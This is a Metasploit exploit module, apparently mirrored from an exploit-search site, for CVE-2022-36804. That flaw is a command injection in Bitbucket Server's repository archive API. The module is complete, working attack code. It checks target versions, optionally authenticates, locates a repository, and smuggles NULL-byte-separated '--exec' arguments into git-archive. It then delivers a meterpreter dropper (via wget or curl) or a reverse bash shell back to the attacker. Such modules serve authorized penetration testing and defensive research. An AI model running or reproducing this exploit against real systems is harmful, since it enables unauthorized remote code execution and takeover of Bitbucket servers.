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## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-BITBUCKET_GIT_CMD_INJECTION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Git Command Injection',
        'Description' => %q{
          Various versions of Bitbucket Server and Data Center are vulnerable to
          an unauthenticated command injection vulnerability in multiple API endpoints.

          The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
          creates an archive of the repository, leveraging the `git-archive` command to do so.
          Supplying NULL bytes to the request enables the passing of additional arguments to the
          command, ultimately enabling execution of arbitrary commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'TheGrandPew', # discovery
          'Ron Bowes', # analysis and PoC
          'Jang', # testanull - PoC
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/' ],
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
          [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
          [ 'CVE', '2022-36804' ]
        ],
        'Platform' => [ 'linux' ],
        'Privileged' => false,
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %w[wget curl bourne],
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => ARCH_CMD,
              'Payload' => { 'BadChars' => %(:/?#[]@) },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DisclosureDate' => '2022-08-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ IOC_IN_LOGS ],
          'SideEffects' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
        OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
        OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'login')
    )

    return CheckCode::Unknown('Failed to receive response from application') unless res

    unless res.body.include?('Bitbucket')
      return CheckCode::Safe('Target does not appear to be Bitbucket')
    end

    footer = res.get_html_document&.at('footer')
    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer

    version_str = footer.at('span')&.children&.text
    return CheckCode::Detected('Cannot find version string in footer') unless version_str

    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1

    version_str = matches[1]
    vprint_status("Found Bitbucket version: #{matches[1]}")

    num_vers = Rex::Version.new(version_str)
    return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')

    major, minor, revision = version_str.split('.')
    case major
    when '6'
      return CheckCode::Appears
    when '7'
      case minor
      when '6'
        return CheckCode::Appears if revision.to_i < 17
      when '17'
        return CheckCode::Appears if revision.to_i < 10
      when '21'
        return CheckCode::Appears if revision.to_i < 4
      end
    when '8'
      case minor
      when '0', '1'
        return CheckCode::Appears if revision.to_i < 3
      when '2'
        return CheckCode::Appears if revision.to_i < 2
      when '3'
        return CheckCode::Appears if revision.to_i < 1
      end
    end

    CheckCode::Detected
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def authenticate
    print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'j_username' => username,
        'j_password' => password,
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'dashboard'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res

    unless res.body.include?('Your work') && res.body.include?('Projects')
      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
    end

    @authenticated = true
    print_good('Successfully logged into Bitbucket!')
  end

  def find_public_repo
    print_status('Searching Bitbucket for publicly accessible repository')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
    json_data = JSON.parse(res.body)
    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data

    unless json_data['size'] > 0
      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
    end

    # opt for public repos unless none exist.
    # Attempt to use a private repo if so
    repos = json_data['values']
    possible_repos = repos.select { |repo| repo['public'] == true }
    if possible_repos.empty? && @authenticated
      possible_repos = repos.select { |repo| repo['public'] == false }
    end

    fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
    possible_repos.each do |repo|
      project = repo['project']
      next unless project

      @project = project['key']
      @repo = repo['slug']
      break if @project && @repo
    end

    fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
    print_good("Found public repo '#{@repo}' in project '#{@project}'!")
  end

  def execute_command(cmd, _opts = {})
    uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
    send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true,
      'vars_get' =>
      {
        'format' => 'zip',
        'path' => Rex::Text.rand_text_alpha(2..5),
        'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
      }
    )
  end

  def exploit
    @authenticated = false
    authenticate unless username.blank? && password.blank?
    find_public_repo

    if target['Type'] == :linux_dropper
      execute_cmdstager(linemax: 6000)
    else
      execute_command(payload.encoded)
    end
  end
end